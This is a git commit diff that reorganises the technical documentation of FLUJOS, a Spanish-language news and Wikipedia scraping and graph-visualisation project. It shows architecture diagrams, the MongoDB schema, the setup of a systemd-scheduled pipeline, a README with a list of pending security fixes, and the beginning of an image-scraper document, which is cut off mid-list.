refactor: reorganizar docs y pocs bajo INFO/
- docs/ → INFO/DOCS/CONTEXT/ (documentación técnica en markdown) - FLUJOS/DOCS/ + FLUJOS_DATOS/DOCS/ → INFO/DOCS/ (txts de arquitectura) - POCS/ → INFO/POCS/ (pruebas de concepto) Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
This commit is contained in:
parent
83f67b76b4
commit
954f47996f
33 changed files with 0 additions and 0 deletions
61
INFO/DOCS/ARQUITECTURA_CLIENTE_JS.txt
Normal file
61
INFO/DOCS/ARQUITECTURA_CLIENTE_JS.txt
Normal file
|
|
@ -0,0 +1,61 @@
|
|||
┌───────────────────┐
|
||||
│ HTML + CSS UI │
|
||||
│ │
|
||||
│ - contenedor div │
|
||||
│ #globWarContainer│
|
||||
│ - form #paramForm │
|
||||
└─────────┬─────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ output_glob_war.js │
|
||||
│ ┌───────────────────────────────────────────────────────┐ │
|
||||
│ │ 1. Inicialización del gráfico │ │
|
||||
│ │ └─ ForceGraph3D()(elem) configuras estilos, forces │ │
|
||||
│ └───────────────────────────────────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ ┌───────────────────────────────────────────────────────┐ │
|
||||
│ │ 2. getData(paramsObj) │ │
|
||||
│ │ ├─ Construye URL: '/api/data?tema=guerra global…' │ │
|
||||
│ │ ├─ fetch(url) → JSON { nodes: [...], links: [...] }│ │
|
||||
│ │ ├─ Filtra enlaces inválidos (fuente/target existe)│ │
|
||||
│ │ ├─ Calcula grado de cada nodo │ │
|
||||
│ │ ├─ Filtra nodos con grado < MIN_DEGREE │ │
|
||||
│ │ └─ Devuelve { nodes, links } │ │
|
||||
│ └───────────────────────────────────────────────────────┘ │
|
||||
│ │ │ │
|
||||
│ │ ▼ │
|
||||
│ │ ┌────────────────────────────────┐ │
|
||||
│ │ │ 3. graph.graphData(data) │ │
|
||||
│ │ │ Renderiza nodos + enlaces │ │
|
||||
│ │ └────────────────────────────────┘ │
|
||||
│ │ │ │
|
||||
│ ▼ ▼ │
|
||||
│ ┌──────────────────────────────┐ ┌────────────────────────┐ │
|
||||
│ │ showNodeContent(content) │ │ centerGraph() │ │
|
||||
│ │ └─ despliega content │ │ └─ zoomToFit + padding │ │
|
||||
│ └──────────────────────────────┘ └────────────────────────┘ │
|
||||
│ ▲ ▲ │
|
||||
│ │ │ │
|
||||
│ ┌───────────────────────────────────────────────────────┐ │
|
||||
│ │ 4. Event Listeners │ │
|
||||
│ │ - form submit → llama getData(paramsObj) │ │
|
||||
│ │ - window resize → llama centerGraph() │ │
|
||||
│ └───────────────────────────────────────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ FLUJOS_APP.js │
|
||||
│ ┌ getDataHandler(req, res) ┐ │
|
||||
│ │ - recibe paramsQuery │ │
|
||||
│ │ - consulta Mongo: │ │
|
||||
│ │ • filtra por tema │ │
|
||||
│ │ • aplica límites nodos/complejidad/fechas │
|
||||
│ │ - construye { nodes, links } JSON │
|
||||
│ └───────────────────────────┘ │
|
||||
│ │ │
|
||||
│ ▼ │
|
||||
│ HTTP GET /api/data → getDataHandler → responde JSON │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
32
INFO/DOCS/ARQUITECTURA_FLUJOS_APP_JS.txt
Normal file
32
INFO/DOCS/ARQUITECTURA_FLUJOS_APP_JS.txt
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
┌──────────────────────────┐
|
||||
│ Cliente JS (output_*.js) │
|
||||
│ getData({tema, …}) │
|
||||
└────────────┬─────────────┘
|
||||
│ HTTP GET /api/data?tema=…&nodos=…&minSim=…
|
||||
▼
|
||||
┌─────────────────────────────────────────┐
|
||||
│ FLUJOS_APP.js – Express /api/data │
|
||||
│ │
|
||||
│ 1) Parsea req.query: tema, nodos, minSim│
|
||||
│ 2) nodesQuery = { tema, subtema?, … } │
|
||||
│ 3) .find(nodesQuery).limit(nodos) → │
|
||||
│ wikipediaNodes, noticiasNodes, │
|
||||
│ torrentsNodes │
|
||||
│ 4) Combina y formatea a `formattedNodes`│
|
||||
│ 5) nodeIds = formattedNodes.map(id) │
|
||||
│ 6) linksQuery = { │
|
||||
│ noticia1: { $in: nodeIds }, │
|
||||
│ noticia2: { $in: nodeIds }, │
|
||||
│ porcentaje_similitud: { $gte: min }│
|
||||
│ } │
|
||||
│ 7) comparacionesCollection.find(linksQuery) → rawLinks │
|
||||
│ 8) Formatea rawLinks a `{ source, target, value }` │
|
||||
│ 9) Responde `{ nodes: formattedNodes, links: formattedLinks }` │
|
||||
└────────────┬────────────────────────────┘
|
||||
│
|
||||
▼
|
||||
┌───────────────────────────┐
|
||||
│ Cliente JS recibe JSON │
|
||||
│ Filtra nodos sin conexiones│
|
||||
│ Dibuja ForceGraph3D │
|
||||
└───────────────────────────┘
|
||||
223
INFO/DOCS/CONTEXT/MONGODB.md
Normal file
223
INFO/DOCS/CONTEXT/MONGODB.md
Normal file
|
|
@ -0,0 +1,223 @@
|
|||
# MongoDB — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Instancia:** `mongodb://localhost:27017` (solo localhost, no expuesto)
|
||||
**Base de datos:** `FLUJOS_DATOS`
|
||||
|
||||
---
|
||||
|
||||
## Colecciones y esquema
|
||||
|
||||
### `wikipedia`
|
||||
Artículos scrapeados de la API de Wikipedia por temas.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "Nombre_del_articulo.txt", // UNIQUE INDEX — clave de dedup
|
||||
"tema": "guerra global",
|
||||
"subtema": "alianzas militares",
|
||||
"texto": "Contenido completo del artículo...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
### `noticias`
|
||||
Artículos scrapeados de ~90 medios internacionales (ver scraper de noticias).
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "titulo-noticia.txt", // UNIQUE INDEX
|
||||
"tema": "guerra global",
|
||||
"subtema": "conflictos internacionales",
|
||||
"texto": "Texto limpio de la noticia...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
### `torrents`
|
||||
Documentos de WikiLeaks y otros torrents de documentos filtrados.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "documento.pdf.txt", // UNIQUE INDEX
|
||||
"tema": "...",
|
||||
"subtema": "...",
|
||||
"texto": "...",
|
||||
"fecha": ISODate | null
|
||||
}
|
||||
```
|
||||
|
||||
### `imagenes`
|
||||
Imágenes analizadas por Qwen3-VL-8B. Solo se crea un doc cuando el modelo ha generado descripción.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
|
||||
"image_path": "/var/www/.../IMAGENES/output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "calentamiento global",
|
||||
"texto": "descripción generada por Qwen3-VL...",
|
||||
"keywords": ["glaciar", "deshielo", "ártico"],
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
### `imagenes_wiki`
|
||||
Imágenes scrapeadas de Wikipedia SIN análisis Qwen. Fallback cuando `imagenes` no tiene el doc.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"archivo": "cambio_climatico_003.jpg", // UNIQUE INDEX
|
||||
"image_path": "/var/www/.../output/wiki_images/cambio_climatico/cambio_climatico_003.jpg",
|
||||
"image_url": "https://upload.wikimedia.org/...",
|
||||
"tema": "cambio climático",
|
||||
"subtema": "glaciares árticos",
|
||||
"descripcion_wiki": "Descripción Wikimedia del fichero",
|
||||
"articulo_titulo": "Calentamiento global",
|
||||
"fecha": ISODate("2026-04-21")
|
||||
}
|
||||
```
|
||||
|
||||
### `comparaciones`
|
||||
Pares de documentos con su similitud calculada. ~52M documentos existentes.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"noticia1": "Nombre_articulo_A.txt",
|
||||
"noticia2": "Nombre_articulo_B.txt",
|
||||
"porcentaje_similitud": 23.45 // float, % de palabras compartidas
|
||||
}
|
||||
```
|
||||
|
||||
**IMPORTANTE:** Esta colección NO tiene índice único porque los 52M docs existentes pueden tener duplicados. Las escrituras usan `update_one(..., upsert=True)` por `(noticia1, noticia2)`.
|
||||
|
||||
### `pipeline_log`
|
||||
Estado de ejecución del pipeline maestro. Un doc por ejecución de fase.
|
||||
|
||||
```json
|
||||
{
|
||||
"_id": ObjectId,
|
||||
"fase": "scraping" | "analisis" | "comparacion",
|
||||
"estado": "en_progreso" | "completado" | "error",
|
||||
"inicio": ISODate,
|
||||
"fin": ISODate | null,
|
||||
"stats": {
|
||||
"wikipedia_nuevos": 15,
|
||||
"noticias_nuevos": 230,
|
||||
"imagenes_wiki_nuevas": 60
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Índices únicos
|
||||
|
||||
Creados automáticamente por `pipeline_maestro.py::setup_indices()`:
|
||||
|
||||
```
|
||||
wikipedia.archivo UNIQUE ASC
|
||||
noticias.archivo UNIQUE ASC
|
||||
imagenes.archivo UNIQUE ASC
|
||||
imagenes_wiki.archivo UNIQUE ASC
|
||||
```
|
||||
|
||||
El campo `archivo` es el nombre del fichero (ej: `"Guerra_del_Golfo.txt"`). Es la clave de deduplicación en todos los upserts.
|
||||
|
||||
---
|
||||
|
||||
## Volumen aproximado (2026-04-21)
|
||||
|
||||
| Colección | Docs aprox. | Tamaño |
|
||||
|---|---|---|
|
||||
| wikipedia | ~5.000 | ~50 MB texto |
|
||||
| noticias | ~20.000 | ~200 MB texto |
|
||||
| torrents | ~500 | ~10 MB |
|
||||
| imagenes | ~150 | 1 MB (solo metadatos) |
|
||||
| imagenes_wiki | ~500 | 2 MB |
|
||||
| comparaciones | ~52.000.000 | ~3.2 GB |
|
||||
| pipeline_log | <100 | <1 MB |
|
||||
|
||||
---
|
||||
|
||||
## Consultas frecuentes desde la API
|
||||
|
||||
### Query de nodos (FLUJOS_APP.js línea 67–94)
|
||||
```javascript
|
||||
// Filtro base
|
||||
{ tema: "guerra global", subtema: "...", texto: { $regex: "...", $options: 'i' } }
|
||||
|
||||
// Con fechas
|
||||
{ ..., fecha: { $gte: new Date("2024-01-01"), $lte: new Date("2024-12-31") } }
|
||||
```
|
||||
|
||||
### Query de enlaces (línea 147–155)
|
||||
```javascript
|
||||
{
|
||||
porcentaje_similitud: { $gte: 20.0 },
|
||||
noticia1: { $in: [...nodeIds] },
|
||||
noticia2: { $in: [...nodeIds] }
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Conexión desde Node.js
|
||||
|
||||
```javascript
|
||||
// FLUJOS_APP.js
|
||||
const mongoUrl = process.env.MONGO_URL || 'mongodb://localhost:27017';
|
||||
const dbName = process.env.DB_NAME || 'FLUJOS_DATOS';
|
||||
const client = new MongoClient(mongoUrl);
|
||||
await client.connect();
|
||||
const db = client.db(dbName);
|
||||
```
|
||||
|
||||
Configuración en `.env`:
|
||||
```
|
||||
MONGO_URL=mongodb://localhost:27017
|
||||
DB_NAME=FLUJOS_DATOS
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Conexión desde Python
|
||||
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
client = MongoClient('mongodb://localhost:27017', serverSelectionTimeoutMS=5000)
|
||||
db = client['FLUJOS_DATOS']
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Temas definidos en el sistema
|
||||
|
||||
Los temas son etiquetas fijas asignadas durante el scraping/tokenización:
|
||||
|
||||
```
|
||||
"guerra global" → subtemas: conflictos internacionales, guerras civiles, terrorismo, armas, alianzas militares
|
||||
"inteligencia y seguridad"→ subtemas: inteligencia, ciberseguridad, espionaje, seguridad nacional, contraterrorismo
|
||||
"cambio climático" → subtemas: cambio climático, desastres naturales, conservación, energía renovable, escasez de agua
|
||||
"demografía y sociedad" → subtemas: sobrepoblación, enfermedades, migraciones, urbanización, despoblación rural
|
||||
"economía y corporaciones"→ subtemas: economía global, corporaciones multinacionales, comercio internacional, organismos financieros, desigualdad económica
|
||||
"otros" → documentos que no encajan en ningún tema
|
||||
```
|
||||
|
||||
La asignación la hace `pipeline_completo.py::asignar_tema_y_subtema()` buscando palabras clave en el texto.
|
||||
|
||||
---
|
||||
|
||||
## Ruta del dato físico
|
||||
|
||||
```
|
||||
MongoDB FLUJOS_DATOS
|
||||
└── imagenes_wiki / imagenes
|
||||
└── image_path → /var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images/{tema_slug}/{archivo}
|
||||
servido como → https://theflows.net/wiki-images/{tema_slug}/{archivo}
|
||||
```
|
||||
266
INFO/DOCS/CONTEXT/PIPELINE_MAESTRO.md
Normal file
266
INFO/DOCS/CONTEXT/PIPELINE_MAESTRO.md
Normal file
|
|
@ -0,0 +1,266 @@
|
|||
# Pipeline Maestro — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Archivo:** `FLUJOS_DATOS/pipeline_maestro.py`
|
||||
**Scheduler:** systemd timer (semanal, domingos 3:00 AM)
|
||||
|
||||
---
|
||||
|
||||
## Visión general
|
||||
|
||||
El pipeline maestro orquesta las tres fases del sistema en orden estricto:
|
||||
|
||||
```
|
||||
FASE 1 — SCRAPING
|
||||
├── Wikipedia (main.py) → colección wikipedia
|
||||
├── Noticias (main_noticias.py) → colección noticias
|
||||
└── Imágenes Wikipedia (wikipedia_image_scraper.py) → colección imagenes_wiki
|
||||
|
||||
FASE 2 — ANÁLISIS
|
||||
├── Qwen3-VL imágenes (pipeline_imagenes.py --analizar) → colección imagenes
|
||||
└── Tokenización texto (pipeline_mongolo.py) → colección noticias/wikipedia (actualiza)
|
||||
|
||||
FASE 3 — COMPARACIÓN
|
||||
└── Similitud entre documentos (pipeline_completo.py) → colección comparaciones
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Ejecución
|
||||
|
||||
```bash
|
||||
# Ejecución completa (las 3 fases)
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 pipeline_maestro.py
|
||||
|
||||
# Solo una fase
|
||||
python pipeline_maestro.py --solo-fase scraping
|
||||
python pipeline_maestro.py --solo-fase analisis
|
||||
python pipeline_maestro.py --solo-fase comparacion
|
||||
|
||||
# Forzar re-ejecución ignorando cooldown de 20h
|
||||
python pipeline_maestro.py --forzar
|
||||
python pipeline_maestro.py --solo-fase scraping --forzar
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Control de estado — MongoDB `pipeline_log`
|
||||
|
||||
Cada fase registra inicio, fin y stats en la colección `pipeline_log`:
|
||||
|
||||
```json
|
||||
{
|
||||
"fase": "scraping",
|
||||
"estado": "completado" | "en_progreso" | "error",
|
||||
"inicio": ISODate("2026-04-20T03:00:00Z"),
|
||||
"fin": ISODate("2026-04-20T04:15:00Z"),
|
||||
"stats": {
|
||||
"wikipedia_nuevos": 45,
|
||||
"noticias_nuevos": 312,
|
||||
"imagenes_wiki_nuevas": 60
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Lógica de "¿necesita correr?"
|
||||
|
||||
```python
|
||||
def fase_necesita_correr(db, fase, forzar=False):
|
||||
if forzar: return True
|
||||
ultimo = db['pipeline_log'].find_one({'fase': fase}, sort=[('inicio', -1)])
|
||||
if not ultimo: return True # nunca corrió
|
||||
if ultimo['estado'] != 'completado': return True # última ejecución falló
|
||||
if utcnow() - ultimo['fin'] < timedelta(hours=20):
|
||||
return False # cooldown activo
|
||||
return True
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Lockfile — prevención de instancias simultáneas
|
||||
|
||||
```python
|
||||
LOCK_FILE = Path("/tmp/flujos_pipeline.lock")
|
||||
|
||||
class PipelineLock:
|
||||
def __enter__(self):
|
||||
self._f = open(LOCK_FILE, "w")
|
||||
fcntl.flock(self._f, fcntl.LOCK_EX | fcntl.LOCK_NB) # non-blocking
|
||||
# Si ya hay lock → BlockingIOError → log.error + sys.exit(1)
|
||||
```
|
||||
|
||||
Si el pipeline muere abruptamente, el lock se libera automáticamente cuando el proceso termina (el SO libera todos los file locks del proceso muerto).
|
||||
|
||||
---
|
||||
|
||||
## Índices de deduplicación (idempotente)
|
||||
|
||||
```python
|
||||
def setup_indices(db):
|
||||
indices = {
|
||||
"wikipedia": [("archivo", ASCENDING)],
|
||||
"noticias": [("archivo", ASCENDING)],
|
||||
"imagenes": [("archivo", ASCENDING)],
|
||||
"imagenes_wiki": [("archivo", ASCENDING)],
|
||||
# comparaciones: SIN índice único (52M docs con posibles duplicados)
|
||||
}
|
||||
for col, keys in indices.items():
|
||||
db[col].create_index(keys, unique=True, background=True)
|
||||
```
|
||||
|
||||
Se ejecuta al inicio de cada pipeline. `create_index` es idempotente — no falla si el índice ya existe.
|
||||
|
||||
---
|
||||
|
||||
## Fase 3 — Modo incremental
|
||||
|
||||
La comparación usa el flag `--desde` para solo comparar documentos nuevos:
|
||||
|
||||
```python
|
||||
ultima = ultima_ejecucion_completada(db, "comparacion")
|
||||
if ultima:
|
||||
args = ["--desde", ultima.strftime("%Y-%m-%d")]
|
||||
# pipeline_completo.py solo procesa docs con fecha >= ultima ejecución
|
||||
```
|
||||
|
||||
Esto evita re-comparar los 52M pares existentes en cada ejecución.
|
||||
|
||||
---
|
||||
|
||||
## Systemd — configuración
|
||||
|
||||
**Archivos instalados en `/etc/systemd/system/`:**
|
||||
|
||||
### flujos-pipeline.service
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=FLUJOS Pipeline Maestro
|
||||
After=network.target mongod.service
|
||||
Requires=mongod.service
|
||||
|
||||
[Service]
|
||||
Type=oneshot
|
||||
User=capitansito
|
||||
WorkingDirectory=/var/www/theflows.net/flujos/FLUJOS_DATOS
|
||||
Environment=MONGO_URL=mongodb://localhost:27017
|
||||
Environment=DB_NAME=FLUJOS_DATOS
|
||||
ExecStart=/var/www/theflows.net/flujos/FLUJOS_DATOS/myenv/bin/python3 \
|
||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/pipeline_maestro.py
|
||||
TimeoutStartSec=43200
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
```
|
||||
|
||||
### flujos-pipeline.timer
|
||||
|
||||
```ini
|
||||
[Unit]
|
||||
Description=Timer semanal para FLUJOS Pipeline Maestro
|
||||
|
||||
[Timer]
|
||||
OnCalendar=Sun *-*-* 03:00:00
|
||||
Persistent=true
|
||||
OnBootSec=2min
|
||||
|
||||
[Install]
|
||||
WantedBy=timers.target
|
||||
```
|
||||
|
||||
`Persistent=true` hace que si el servidor estaba apagado el domingo a las 3:00, el timer se dispara 2 minutos después del siguiente arranque (`OnBootSec=2min`).
|
||||
|
||||
### Comandos de gestión
|
||||
|
||||
```bash
|
||||
# Ver estado del timer
|
||||
systemctl status flujos-pipeline.timer
|
||||
|
||||
# Ver logs del último pipeline
|
||||
journalctl -u flujos-pipeline.service -n 100
|
||||
|
||||
# Lanzar manualmente
|
||||
systemctl start flujos-pipeline.service
|
||||
|
||||
# Habilitar/deshabilitar timer
|
||||
systemctl enable flujos-pipeline.timer
|
||||
systemctl disable flujos-pipeline.timer
|
||||
|
||||
# Ver cuándo es la próxima ejecución
|
||||
systemctl list-timers flujos-pipeline.timer
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Cooldown y tiempos esperados de ejecución
|
||||
|
||||
| Fase | Cooldown mínimo | Tiempo estimado |
|
||||
|---|---|---|
|
||||
| scraping | 20h | 2–6h (depende de medios accesibles) |
|
||||
| analisis | 20h | 1–4h (Qwen en CPU es lento: ~3 min/imagen) |
|
||||
| comparacion | 20h | Variable (incremental: 30 min / full: varios días) |
|
||||
|
||||
---
|
||||
|
||||
## Resumen de estadísticas al final
|
||||
|
||||
Al completar, el pipeline imprime en el log:
|
||||
|
||||
```
|
||||
Estado MongoDB:
|
||||
wikipedia : 5,234
|
||||
noticias : 21,456
|
||||
imagenes : 150
|
||||
imagenes_wiki : 500
|
||||
comparaciones : 52,100,000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Log del pipeline
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/pipeline_maestro.log → log principal (en .gitignore)
|
||||
```
|
||||
|
||||
También visible en journald:
|
||||
```bash
|
||||
journalctl -u flujos-pipeline.service --since "2026-04-20"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Dependencias Python
|
||||
|
||||
```
|
||||
pymongo
|
||||
bson # ObjectId (incluido con pymongo)
|
||||
fcntl # stdlib Python
|
||||
argparse # stdlib Python
|
||||
subprocess
|
||||
```
|
||||
|
||||
El pipeline maestro solo llama a los sub-scripts vía `subprocess.run()`, no importa sus módulos directamente.
|
||||
|
||||
---
|
||||
|
||||
## Flujo completo diagram
|
||||
|
||||
```
|
||||
pipeline_maestro.py
|
||||
│
|
||||
├── setup_indices(db) # crea índices únicos
|
||||
│
|
||||
├── [FASE 1] fase_scraping()
|
||||
│ ├── subprocess: WIKIPEDIA/main.py
|
||||
│ ├── subprocess: NOTICIAS/main_noticias.py
|
||||
│ └── subprocess: IMAGENES/wikipedia_image_scraper.py --flujos --max 20 --mongo
|
||||
│
|
||||
├── [FASE 2] fase_analisis()
|
||||
│ ├── subprocess: IMAGENES/pipeline_imagenes.py --analizar --carpeta ... --mongo
|
||||
│ └── subprocess: COMPARACIONES/pipeline_mongolo.py
|
||||
│
|
||||
└── [FASE 3] fase_comparacion()
|
||||
└── subprocess: COMPARACIONES/pipeline_completo.py [--desde YYYY-MM-DD]
|
||||
```
|
||||
98
INFO/DOCS/CONTEXT/README.md
Normal file
98
INFO/DOCS/CONTEXT/README.md
Normal file
|
|
@ -0,0 +1,98 @@
|
|||
# FLUJOS — Documentación técnica
|
||||
**Última actualización:** 2026-04-21
|
||||
**Proyecto:** Plataforma libre de análisis y visualización de flujos de información
|
||||
**Stack:** Node.js + Express + MongoDB + Python (BERT, Qwen3-VL) + Three.js/3d-force-graph
|
||||
|
||||
---
|
||||
|
||||
## Índice de documentos
|
||||
|
||||
| Documento | Contenido |
|
||||
|---|---|
|
||||
| [SEGURIDAD.md](SEGURIDAD.md) | Informe de vulnerabilidades (NoSQL injection, XSS, rate limiting...) + fixes |
|
||||
| [MONGODB.md](MONGODB.md) | Esquema de colecciones, índices, volúmenes, consultas frecuentes |
|
||||
| [VISUALIZACION_JS.md](VISUALIZACION_JS.md) | Frontend Three.js, API endpoint, nodos imagen Sprite, scripts por vista |
|
||||
| [SCRAPER_IMAGENES_QWEN.md](SCRAPER_IMAGENES_QWEN.md) | Scraper Wikipedia imágenes + analizador Qwen3-VL-8B (carga, batch, resume) |
|
||||
| [SCRAPER_WIKIPEDIA.md](SCRAPER_WIKIPEDIA.md) | Scraper artículos Wikipedia, tokenización BERT, temas y keywords |
|
||||
| [SCRAPER_NOTICIAS.md](SCRAPER_NOTICIAS.md) | Scraper de ~90 medios internacionales, traducción, limpieza, ficheros adjuntos |
|
||||
| [PIPELINE_MAESTRO.md](PIPELINE_MAESTRO.md) | Orquestador 3 fases, systemd timer, lockfile, estado MongoDB, cooldowns |
|
||||
|
||||
---
|
||||
|
||||
## Arquitectura en una página
|
||||
|
||||
```
|
||||
Internet
|
||||
│
|
||||
▼
|
||||
nginx (theflows.net:443, TLS Let's Encrypt)
|
||||
├── / → FLUJOS/VISUALIZACION/public/ (estáticos)
|
||||
├── /api/ → proxy → Node.js :3000
|
||||
└── /wiki-images/ → (Node.js sirve estáticos de IMAGENES/output/wiki_images/)
|
||||
|
||||
Node.js — FLUJOS/BACK_BACK/FLUJOS_APP.js
|
||||
└── GET /api/data → MongoDB FLUJOS_DATOS
|
||||
|
||||
MongoDB localhost:27017 — FLUJOS_DATOS
|
||||
├── wikipedia (~5k docs)
|
||||
├── noticias (~20k docs)
|
||||
├── imagenes (~150 docs, analizadas con Qwen)
|
||||
├── imagenes_wiki (~500 docs, solo metadatos scrapeados)
|
||||
├── comparaciones (~52M pares de similitud)
|
||||
└── pipeline_log (estado de ejecuciones)
|
||||
|
||||
Python Pipeline (systemd timer — domingos 3:00 AM)
|
||||
FLUJOS_DATOS/pipeline_maestro.py
|
||||
├── Fase 1: scraping (Wikipedia + noticias + imágenes)
|
||||
├── Fase 2: análisis (Qwen3-VL + tokenización BERT)
|
||||
└── Fase 3: comparación (similitud coseno entre documentos)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Variables de entorno (.env en FLUJOS/BACK_BACK/)
|
||||
|
||||
```
|
||||
MONGO_URL=mongodb://localhost:27017
|
||||
DB_NAME=FLUJOS_DATOS
|
||||
PORT=3000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Rutas críticas del servidor
|
||||
|
||||
```
|
||||
/var/www/theflows.net/flujos/
|
||||
├── docs/ # esta documentación
|
||||
├── FLUJOS/
|
||||
│ ├── BACK_BACK/FLUJOS_APP.js # servidor Node.js
|
||||
│ └── VISUALIZACION/public/ # frontend estático
|
||||
├── FLUJOS_DATOS/
|
||||
│ ├── pipeline_maestro.py # orquestador
|
||||
│ ├── myenv/ # Python venv (~2 GB, en .gitignore)
|
||||
│ ├── WIKIPEDIA/main.py # scraper Wikipedia
|
||||
│ ├── NOTICIAS/main_noticias.py # scraper noticias
|
||||
│ ├── IMAGENES/
|
||||
│ │ ├── wikipedia_image_scraper.py # scraper imágenes
|
||||
│ │ ├── image_analyzer.py # Qwen3-VL
|
||||
│ │ ├── pipeline_imagenes.py # orquestador imágenes
|
||||
│ │ ├── model_cache/ # Qwen descargado (~16 GB, .gitignore)
|
||||
│ │ └── output/wiki_images/ # imágenes en disco (.gitignore)
|
||||
│ └── COMPARACIONES/
|
||||
│ ├── pipeline_completo.py # cálculo de similitud
|
||||
│ └── pipeline_mongolo.py # tokenización + inserción MongoDB
|
||||
└── .gitignore # excluye datos pesados del repo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Seguridad — prioridades pendientes
|
||||
|
||||
1. 🔴 **Aplicar `sanitizeParam()`** en FLUJOS_APP.js para prevenir NoSQL injection
|
||||
2. 🔴 **Cambiar `'0.0.0.0'` por `'127.0.0.1'`** en `app.listen()` para cerrar puerto 3000
|
||||
3. 🟠 **Reemplazar `innerHTML` por `textContent`** en output_int_sec.js y 3dscript_eco-corp.html
|
||||
4. 🟠 **Añadir `express-rate-limit`** al endpoint `/api/`
|
||||
5. 🟡 **Activar `helmet()` completo** (no solo CSP) para quitar `X-Powered-By`
|
||||
|
||||
Ver [SEGURIDAD.md](SEGURIDAD.md) para código de fix completo.
|
||||
271
INFO/DOCS/CONTEXT/SCRAPER_IMAGENES_QWEN.md
Normal file
271
INFO/DOCS/CONTEXT/SCRAPER_IMAGENES_QWEN.md
Normal file
|
|
@ -0,0 +1,271 @@
|
|||
# Scraper de Imágenes + Analizador Qwen3-VL — Contexto técnico FLUJOS
|
||||
**Fecha:** 2026-04-21
|
||||
**Directorio:** `FLUJOS_DATOS/IMAGENES/`
|
||||
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
|
||||
|
||||
---
|
||||
|
||||
## Componentes del módulo
|
||||
|
||||
```
|
||||
FLUJOS_DATOS/IMAGENES/
|
||||
├── wikipedia_image_scraper.py # Descarga imágenes de Wikipedia por tema
|
||||
├── image_analyzer.py # Analiza imágenes con Qwen3-VL-8B
|
||||
├── image_comparator.py # Compara imágenes (similaridad visual)
|
||||
├── mongo_helper.py # Utilidades MongoDB para este módulo
|
||||
├── pipeline_imagenes.py # Orquestador del módulo (flags CLI)
|
||||
├── requirements_imagenes.txt # Dependencias del módulo
|
||||
├── model_cache/ # Modelo Qwen descargado (~16 GB) — en .gitignore
|
||||
└── output/
|
||||
└── wiki_images/ # Imágenes descargadas — en .gitignore
|
||||
├── cambio_climático/
|
||||
├── geopolítica_conflictos/
|
||||
├── seguridad_internacional_espionaje/
|
||||
└── ...
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Parte 1: wikipedia_image_scraper.py
|
||||
|
||||
### Qué hace
|
||||
|
||||
Descarga imágenes de Wikipedia por tema usando la **Wikimedia REST API**. Para cada tema de FLUJOS busca artículos relacionados, extrae las imágenes de cada artículo y las descarga filtrando iconos/logos pequeños.
|
||||
|
||||
### Temas de FLUJOS que se scrapean (`TEMAS_FLUJOS`)
|
||||
|
||||
```python
|
||||
TEMAS_FLUJOS = [
|
||||
"cambio climático",
|
||||
"geopolítica conflictos",
|
||||
"seguridad internacional espionaje",
|
||||
"libertad de prensa periodismo",
|
||||
"corporaciones poder económico",
|
||||
"populismo extremismo",
|
||||
"desinformación redes sociales",
|
||||
"privacidad vigilancia masiva",
|
||||
"biodiversidad medioambiente",
|
||||
"inteligencia artificial tecnología",
|
||||
]
|
||||
```
|
||||
|
||||
### Filtros de calidad (imágenes que se descartan)
|
||||
|
||||
```python
|
||||
MIN_WIDTH = 200 # pixels
|
||||
MIN_HEIGHT = 200 # pixels
|
||||
MIN_BYTES = 20_000 # 20 KB mínimo
|
||||
|
||||
SKIP_PATTERNS = [
|
||||
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
|
||||
"symbol", "Symbol", "coat_of_arms", "commons-logo",
|
||||
"wiki", "Wiki", "question_mark", "edit-", "nuvola",
|
||||
